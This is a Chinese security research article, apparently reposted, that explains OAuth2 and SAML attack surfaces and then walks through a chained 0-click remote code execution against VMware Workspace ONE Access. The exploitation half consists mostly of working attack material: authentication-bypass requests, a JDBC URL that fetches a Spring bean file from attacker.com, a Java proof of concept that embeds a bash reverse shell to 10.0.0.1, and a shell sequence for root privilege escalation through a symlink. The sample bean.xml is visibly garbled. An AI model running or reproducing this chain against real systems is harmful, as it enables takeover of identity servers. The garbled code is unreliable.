> 相关术语:
授权验证 – OAuth2
如图,验证流程入下:
1、 在客户端web项目中构造一个oauth的客户端请求对象(OAuthClientRequest),在此对象中携带客户端信息(clientId、accessTokenUrl、response_type、redirectUrl),将此信息放入http请求中,重定向到服务端。此步骤对应上图步骤1
2、 在服务端web项目中接受第一步传过来的request,从中获取客户端信息,可以自行验证信息的可靠性。同时构造一个oauth的code授权许可对象(OAuthAuthorizationResponseBuilder),并在其中设置授权码code,将此对象传回客户端。此步骤对应上图步骤2
3、 在在客户端web项目中接受第二步的请求request,从中获得code。同时构造一个oauth的客户端请求对象(OAuthClientRequest),此次在此对象中不仅要携带客户端信息(clientId、accessTokenUrl、clientSecret、GrantType、redirectUrl),还要携带接受到的code。再构造一个客户端请求工具对象(oAuthClient),这个工具封装了httpclient,用此对象将这些信息以post(一定要设置成post)的方式请求到服务端,目的是为了让服务端返回资源访问令牌。此步骤对应上图步骤3。(另外oAuthClient请求服务端以后,会自行接受服务端的响应信息。
4、 在服务端web项目中接受第三步传过来的request,从中获取客户端信息和code,并自行验证。再按照自己项目的要求生成访问令牌(accesstoken),同时构造一个oauth响应对象(OAuthASResponse),携带生成的访问指令(accesstoken),返回给第三步中客户端的oAuthClient。oAuthClient接受响应之后获取accesstoken,此步骤对应上图步骤4
5、 此时客户端web项目中已经有了从服务端返回过来的accesstoken,那么在客户端构造一个服务端资源请求对象(OAuthBearerClientRequest),在此对象中设置服务端资源请求URI,并携带上accesstoken。再构造一个客户端请求工具对象(oAuthClient),用此对象去服务端靠accesstoken换取资源。此步骤对应上图步骤5
6、 在服务端web项目中接受第五步传过来的request,从中获取accesstoken并自行验证。之后就可以将客户端请求的资源返回给客户端了。
认证方式
OAuth 2.0 共有 4 种访问模式:
– 授权码模式(Authorization Code),适用于一般服务器端应用
授权码模式(authorization code)是功能最完整、流程最严密的授权模式。
– 简化模式(Implicit),适用于纯网页端应用
简化模式是对授权码模式的简化,用于在浏览器中使用脚本语言如JS实现的客户端中,它的特点是不通过客户端应用程序的服务器,而是直接在浏览器中向认证服务器申请令牌,跳过了“授权码临时凭证”这个步骤。其所有的步骤都在浏览器中完成,令牌对访问者是可见的,且客户端不需要认证。
– 密码模式(Resource owner password credentials)
在密码模式中,用户需要向客户端提供自己的用户名和密码,客户端使用这些信息向“服务提供商”索要授权。这相当于在豆瓣网中使用微信登录,我们需要在豆瓣网输入微信的用户名和密码,然后由豆瓣网使用我们的微信用户名和密码去向微信服务器获取授权信息。
– 客户端模式(Client credentials)
客户端模式是指客户端以自己的名义,而不是以用户的名义,向“服务提供方”进行认证。严格地说,客户端模式并不属于OAuth2.0协议所要解决的问题。在这种模式下,用户并不需要对客户端授权,用户直接向客户端注册,客户端以自己的名义要求“服务提供商”提供服务。
用到最多的还是授权码模式,这里重点介绍下授权码模式。
授权码模式
步骤如下:
> (A)用户访问客户端,后者将前者导向认证服务器。
> (B)用户选择是否给予客户端授权。
> (C)假设用户给予授权,认证服务器将用户导向客户端事先指定的”重定向URI”(redirection URI),同时附上一个授权码。
> (D)客户端收到授权码,附上早先的”重定向URI”,向认证服务器申请令牌。这一步是在客户端的后台的服务器上完成的,对用户不可见。
> (E)认证服务器核对了授权码和重定向URI,确认无误后,向客户端发送访问令牌(access token)和更新令牌(refresh token)。
下面是上面这些步骤所需要的参数。
A步骤中,客户端申请认证的URI,包含以下参数:
– response_type:表示授权类型,必选项,此处的值固定为”code”
– client_id:表示客户端的ID,必选项
– redirect_uri:表示重定向URI,可选项
– scope:表示申请的权限范围,可选项
– state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
下面是一个例子:
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz
&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
Host: server.example.com
POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache
{
"access_token":"2YotnFZFEjr1zCsicMWpAA",
"token_type":"example",
"expires_in":3600,
"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
"example_parameter":"example_value"
}
攻击身份认证服务端(Authentication – Server-side)
– XML令牌解析(XXE、SSRF、XSLT等)
– 签名验证(Signature verification)绕过(XSW攻击、XML签名攻击绕过等)
这些都是直接针对IdP或SP的服务器端可进行的攻击方法
攻击授权验证客户端(Authorization – Client-side)
– Access token、授权码(authorization code)泄露等
– XSS、CSRF、URL重定向、点击劫持等等
protected void deserializePageAttributes() {
if (!this.isPageSessionDeserialized()) {
RequestContext context = this.getRequestContext();
if (context == null) {
context = RequestManager.getRequestContext();
}
String pageAttributesParam = context.getRequest().getParameter("jato.pageSession");
if (pageAttributesParam != null && pageAttributesParam.trim().length() > 0) {
try { this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
} catch (Exception var4) {
this.handleDeserializePageAttributesException(var4);
}
}
this.setPageSessionDeserialized();
}
}
(3) CVE-2020-4006 VMWare Workspace ONE Access 命令注入
3.1 目标选择
3.2 CVE-2022-22954漏洞挖掘过程
其中该拦截器处理中deviceUdid 和 deviceType参数 用于构建身份验证上下文,并且是可控的:
然后将输入的数据未过滤直接使用在抛出的InvalidAuthContextException异常中
最后一步就构造触发这个拦截器的URI,并且根据参数植入FreeMarker 模板注入的payload:
3.3漏洞组合拳构造0-click RCE
前面介绍了SAML身份认证、OAuth2授权验证和IAM(Identity and Access Management)一些市面上常见管理产品的漏洞类型,以及IAM产品的几个相关历史漏洞,已经对VMWare Workspace ONE Access已暴露的一些脆弱性有了一些了解,下面再介绍一套通过漏洞组合拳构造出0-click Exploit 的攻击思路。
3.3.1 漏洞1:OAuth2TokenResourceController 访问控制服务(ACS)认证bypass漏洞
首先是第一个漏洞,OAuth2TokenResourceController 访问控制服务(ACS)认证bypass漏洞,在OAuth2TokenResourceController 类有两个可访问的路由,第一个路由会返回已存在的 oauth2用户生成一个激活令牌activationToken:
@RequestMapping(value = {"/generateActivationToken/{id}"}, method = {RequestMethod.POST})
@ResponseBody
@ApiOperation(value = "Generate and update activation token for an existing oauth2 client", response = OAuth2ActivationTokenMedia.class)
@ApiResponses({@ApiResponse(code = 500, message = "Generation failed, unknown error."), @ApiResponse(code = 400,message = "Generation failed, client is invalid or not specified.")})
public OAuth2ActivationTokenMedia generateActivationToken(@ApiParam(value = "OAuth 2.0 Client identifier", example = ""my-auth-grant-client1"", required = true) @PathVariable("id") String clientId, HttpServletRequest request) throws MyOneLoginException {
OrganizationRuntime orgRuntime = getOrgRuntime(request);
OAuth2Client client = this.oAuth2ClientService.getOAuth2Client(orgRuntime.getOrganizationId().intValue(),clientId);
if (client == null || client.getIdUser() == null) {
throw new BadRequestException("invalid.client", new Object[0]);
}
第二个路由可以通过activationToken去激活OAuth2用户并且返回client ID和 client secret:
@RequestMapping(value = {"/activate"}, method = {RequestMethod.POST})
@ResponseBody
@AllowExecutionWhenReadOnly
@ApiOperation(value = "Activate the device client by exchanging an activation code for a client ID and client secret.", notes = "This endpoint is used in the dynamic mobile registration flow. The activation code is obtained by calling the /SAAS/auth/device/register endpoint. The client_secret and client_id returned in this call will be used in the call to the /SAAS/auth/oauthtoken endpoint.", response = OAuth2ClientActivationDetails.class)
@ApiResponses({@ApiResponse(code = 500, message = "Activation failed, unknown error."), @ApiResponse(code = 404, message = "Activation failed, organization not found."), @ApiResponse(code = 400, message = "Activation failed, activation code is invalid or not specified.")})
public OAuth2ClientActivationDetails activateOauth2Client(@ApiParam(value = "the activation code", required = true) @RequestBody String activationCode, HttpServletRequest request) throws MyOneLoginException {
OrganizationRuntime organizationRuntime = getOrgRuntime(request);
try {
return this.activationTokenService.activateAndGetOAuth2Client(organizationRuntime.getOrganization(), activationCode);
} catch (EncryptionException e) {
throw new BadRequestException("invalid.activation.code", e, new Object[0]);
} catch (MyOneLoginException e) {
if (e.getCode() == 80480 || e.getCode() == 80476 || e.getCode() == 80440 || e.getCode() == 80558) {
throw new BadRequestException("invalid.activation.code", e, new Object[0]);
}
throw e;
}
}
所以这就足以让攻击者通过client _ id 和 client _ secret 获取 OAuth2身份令牌从而实现身份验证bypass。不过这个攻击利用成功需要一个前提条件就是存在默认的OAuth2用户,如果没有如下两个默认OAuth2用户存在的话则无法利用:
系统默认用户是在com.vmware.horizon.rest.controller.system.BootstrapController这个类中默认进行创建的:
public boolean createTenant(int orgId, String tenantId) {
try {
createDefaultServiceOAuth2Client(orgId);
} catch (Exception e) {
log.warn("Failed to create the default service oauth2 client for org " + tenantId, e);
return false;
}
return true;
}
其中调用了createDefaultServiceOAuth2Client函数进行创建:
@Nonnull
@Transactional(rollbackFor = {MyOneLoginException.class})
@ReadWriteConnection
public OAuth2Client createDefaultServiceOAuth2Client(int orgId) throws MyOneLoginException {
OAuth2Client oAuth2Client = this.oauth2ClientService.getOAuth2Client(orgId, "Service__OAuth2Client");
if (oAuth2Client == null) {
Organizations firstOrg = this.organizationService.getFirstOrganization();
if (firstOrg.getId().intValue() == orgId) {
log.info("Creating service_oauth2 client for root tenant.");
return createSystemScopedServiceOAuth2Client(firstOrg, "Service__OAuth2Client", null, "admin system");
}
return oAuth2Client;
}
3.3.2 漏洞2:JDBC注入远程代码执行
在com.vmware.horizon.rest.controller.system.DBConnectionCheckController控制器类中有个名为dbCheck的公开方法:
@RequestMapping(method = {RequestMethod.POST}, produces = {"application/json"})
@ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
@ResponseBody
public RESTResponse dbCheck(@RequestParam(value = "jdbcUrl", required = true) String jdbcUrl, @RequestParam(value = "dbUsername", required = true) String dbUsername, @RequestParam(value = "dbPassword", required = true) String dbPassword) throws MyOneLoginException {
String driverVersion;
try {
if (this.organizationService.countOrganizations() > 0L) {
assureAuthenticatedApiAdmin();
}
} catch (Exception e) {
log.info("Check for existing organization threw an exception.", driverVersion);
}
try {
String encryptedPwd = configEncrypter.encrypt(dbPassword);
driverVersion = this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd);
} catch (PersistenceRuntimeException e) {
throw new MyOneLoginException(HttpStatus.NOT_ACCEPTABLE.value(), e.getMessage(), e);
}
return new RESTResponse(Boolean.valueOf(true), Integer.valueOf(HttpStatus.OK.value()), driverVersion, null);
}
首先会先去判断是否包含已存在的组织(如果正确配置的话就会有的),然后进入if语句调用了assureAuthenticatedApiAdmin方法去验证是否是管理员,所以这里有个前提条件得是管理员才行。接着往下执行了this.dbConnectionCheckService.checkConnection(jdbcUrl, dbUsername, encryptedPwd);
其中jdbcUrl可以看到是可控的,跟进这个方法查看:
public String checkConnection(String jdbcUrl, String username, String password) throws PersistenceRuntimeException { return checkConnection(jdbcUrl, username, password, true); }
public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
connection = null;
String driverVersion = null;
try {
loadDriver(jdbcUrl);
connection = testConnection(jdbcUrl, username, password, checkCreateTableAccess);
meta = connection.getMetaData();
driverVersion = meta.getDriverVersion();
} catch (SQLException e) {
log.error("connectionFailed");
throw new PersistenceRuntimeException(e.getMessage(), e);
} finally {
try {
if (connection != null) {
connection.close();
}
} catch (Exception e) {
log.warn("Problem closing connection", e);
}
}
return driverVersion;
}
接着可控的jdbcUrl将作为参数传入testConnection方法进行调用,跟进:
private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
try {
Connection connection = this.factoryHelper.getConnection(jdbcUrl, username, password);
log.info("sql verification triggered");
this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
if (checkCreateTableAccess) {
return testCreateTableAccess(jdbcUrl, connection);
}
return testUpdateTableAccess(connection);
}
然后同样作为参数调用了FactoryHelper.getConnection()方法,跟进:
public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
try {
return DriverManager.getConnection(jdbcUrl, username, password);
} catch (Exception ex) {
if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
throw new SQLException("database.connection.ssl.notSuccess");
}
log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
throw new SQLException("database.connection.notSuccess");
}
}
最后,到达DriverManager.getConnection()方法,并进行远程连接,也就导致了这里存在JDBC注入漏洞。
利用JDBC注入,可以做到什么危害呢?当然最容易想到的就是JDBC反序列化RCE了,这块在后面的漏洞组合利用再一起介绍。
通过漏洞2进行RCE后可以通过这个漏洞进行提权,实际上利用的是sudo提权,sodu 全称 Substitute User and Do,用来临时赋予root权限运行某个程序。
sodu 的执行原理:普通用户执行命令时,首先检查/var/run/sudo/目录下是否有用户时间戳,centos检查/var/db/sudo/目录,并检查是否过期。如果时间戳过期,就需要输入当前用户的密码。输入后检查/etc/sudoers配置文件,查看用户是否有sudo权限,如果有执行sudo命令并返回结果,然后退出sudo返回到普通用户的shell环境。
sudo -l列出当前用户可以执行的命令:
这些脚本可以由Horizion 用户通过 root 权限执行,并且不需要使用 sudo 密码。Horizion用户无法编写这些脚本,因此需要利用这些脚本里面的代码漏洞来进行提权。
1. publishCaCert.hzn
#!/bin/sh
#Script to isolate sudo access to just publishing a single file to the trusted certs directory
CERTFILE=$1
DESTFILE=$(basename $2)
cp -f $CERTFILE /etc/ssl/certs/$DESTFILE // 1
chmod 644 /etc/ssl/certs/$DESTFILE // 2
c_rehash > /dev/null
可以看到这个脚本可以通过命令行将一个文件复制到/etc/ssl/certs/目录下,然后使用chmod命令将那个文件设置为可读可写。
2. gatherConfig.hzn:
#!/bin/bash
#
# Minor: Copyright 2019 VMware, Inc. All rights reserved.
. /usr/local/horizon/scripts/hzn-bin.inc
. /usr/local/horizon/scripts/manageTcCfg.inc
DEBUG_FILE=$1
#...
function gatherConfig()
{
printLines
echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" > ${DEBUG_FILE}
#...
chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE
}
if [ -z "$DEBUG_FILE" ]
then
usage
else
DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt"
gatherConfig
fi
这一步为了提权,我们可以利用创建一个名为 degugConfig.txt 的软链接指向具有root用户权限执行的文件,例如上面sudo -l中列出的certproxyService.sh脚本,从而执行这个gatherConfig.hzn时就可以配合脚本里gatherConfig函数中的chown命令进行提权。
3.3.4 漏洞组合利用RCE
1.身份认证Bypass
首先,我们需要拿到activationToken:
请求包:
POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
Host: photon-machine
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
返回包:
{
"activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...",
"_links": {}
}
然后使用activationToken获取 client _ id 和 client _ secret
请求包:
POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
Host: photon-machine
Content-Type: application/x-www-form-urlencoded
Content-Length: 168
eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...
返回包:
{
"client_id": "Service__OAuth2Client",
"client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o"
}
3. JDBC反序列化RCE
由于存在JDBC注入,所以可以通过 MySQL JDBC 驱动使用 autoSerialize 属性进行RCE。服务器将连接回攻击者的恶意 MySQL 服务器,然后可以传递任意序列化的 Java 对象,该对象可以在服务器上进行反序列化。打的话可以通过CommonsBeanutils1利用链进行攻击。
或者还可以通过PostgreSQL JDBC 驱动的 socketFactory 属性执行RCE。通过设置 socketFactory 和 socketFactoryArg 属性,攻击者可以触发任意 Java 类中定义的构造函数的执行,条件是该构造函数具有可控的字符串参数。所以可以构造如下poc:
bean.xml:
<beans xnlns="http://www.springframework.ar9/schema/beans"
xnlns:xsi="http://www.w3.0rg/2001/XMLSchema- iristance"
xsi:schenaLocat ion="http://www.springfiremefork.org/schema /beans http://www.Springframework.org/schema/beans /spring-beans.xsd">
<bean id="pb" class="Java.Lang.ProcessButlder" init-method="start">
<constructor-arg>
<list>
svalue>touch</value>
svalue>/tmp/rcevalue>
</list>
</constructo-arg>
</bean>
</beans>
payload:
jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.com:9090/bean.xml
挂载在VPS上即可:
当然样的话就比较受出网限制,如果目标没法出网的情况下,还得思考下如何进一步改进利用,这里用到了com.vmware.licensecheck.LicenseChecker这个类:
public LicenseChecker(final String s) {
this(s, true);
}
public LicenseChecker(final String state, final boolean validateExpiration) {
this._handle = new LicenseHandle();
if (state != null) {
this._handle.setState(state);
}
this._validateExpiration = validateExpiration;
}
LicenseChecker的构造函数会调用另外一个重载构造函数LicenseChecker(final String state, final boolean validateExpiration),其中会调用到LicuseHandle 类上的 setState:
public void setState(String var1) {
if (var1 != null && var1.length() >= 1) {
try {
byte[] var2 = MyBase64.decode(var1); // 3
if (var2 != null && this.deserialize(var2)) { // 4
this._state = var1;
this._isDirty = false;
}
} catch (Exception var3) {
log.debug(new Object[]{"failed to decode state: " + var3.getMessage()});
}
}
}
然后回对传入的可控参数先进行base64解码,然后调用了deserialize,跟进查看:
private boolean deserialize(byte[] var1) {
if (var1 == null) {
return true;
} else {
try {
ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
DataInputStream var3 = new DataInputStream(var2);
int var4 = var3.readInt();
switch(var4) {
case -889267490:
return this.deserialize_v2(var3);
default:
log.debug(new Object[]{"bad magic: " + var4});
}
} catch (Exception var5) {
log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()});
}
return false;
}
}
这里读取base64解码后的字节的的一个int,如果为-889267490的话继续调用deserialize_v2方法:
private boolean deserialize_v2(DataInputStream var1) throws IOException {
byte[] var2 = Encrypt.readByteArray(var1);
if (var2 == null) {
log.debug(new Object[]{"failed to read cipherText"});
return false;
} else {
try {
byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2));
if (var3 == null) {
log.debug(new Object[]{"failed to decrypt state data"});
return false;
} else {
ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
ObjectInputStream var5 = new ObjectInputStream(var4);
this._htEvalStart = (Hashtable)var5.readObject();
log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"});
return true;
}
} catch (Exception var6) {
log.warn(new Object[]{var6.getMessage()});
return false;
}
}
}
在这里先进行调用decrypt,并使用硬编码密钥keyBytes_v2解密字符串,然后对可控字符串调用 readObject进行反序列化。所以这里是通过JDBC URI注入去打LicenseChecker类中的反序列化,poc如下:
import com.vmware.licensecheck.LicenseChecker;
import com.vmware.licensecheck.LicenseHandle;
import com.vmware.licensecheck.MyBase64;
import ysoserial.payloads.ObjectPayload.Utils;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Hashtable;
import java.io.*;
public class Poc {
public static void main(String[] args) throws Exception {
String shell = MyBase64.encode("bash -c "bash -i >& /dev/tcp/10.0.0.1/1234 0>&1"".getBytes());
Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c $@|sh . echo echo %s|base64 -d|bash", shell));
LicenseChecker lc = new LicenseChecker(null);
Field handleField = LicenseChecker.class.getDeclaredField("_handle");
handleField.setAccessible(true);
LicenseHandle lh = (LicenseHandle)handleField.get(lc);
Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart");
htEvalStartField.setAccessible(true);
Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty");
isDirtyField.setAccessible(true);
Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>();
ht.put(1337, payload);
htEvalStartField.set(lh, ht);
isDirtyField.set(lh, true);
handleField.set(lc, lh);
String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8");
System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload));
}
}
最终paylaod:
jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAxxxxxxxxxx
sudo /usr/local/horizon/scripts/publishCaCert.hzn /opt/vmware/certproxy/bin/certproxyService.sh tmp
mkdir tmp
ln -s /opt/vmware/certproxy/bin/certproxyService.sh /tmp/debugConfig.txt
sudo /usr/local/horizon/scripts/gatherConfig.hzn tmp
rm -rf tmp
chmod 755 /opt/vmware/certproxy/bin/certproxyService.sh
echo "mv /etc/ssl/certs/tmp /opt/vmware/certproxy/bin/certproxyService.sh" > /opt/vmware/certproxy/bin/certproxyService.sh
echo "chown root:root /opt/vmware/certproxy/bin/certproxyService.sh" >> /opt/vmware/certproxy/bin/certproxyService.sh
echo "chmod 640 /opt/vmware/certproxy/bin/certproxyService.sh" >> /opt/vmware/certproxy/bin/certproxyService.sh
echo "rm /tmp/a; rm /tmp/b; cd /root; python -c 'import pty; pty.spawn(\"/bin/bash\")'" >> /opt/vmware/certproxy/bin/certproxyService.sh
sudo /opt/vmware/certproxy/bin/certproxyService.sh
Reference
1.https://developer.aliyun.com/article/652873#slide-3
2.https://www.anquanke.com/post/id/275266
3.https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316
4.https://github.com/sourceincite/hekate
原文始发于微信公众号(山石网科安全技术研究院):0Click RCE:攻击VMWare Workspace ONE Access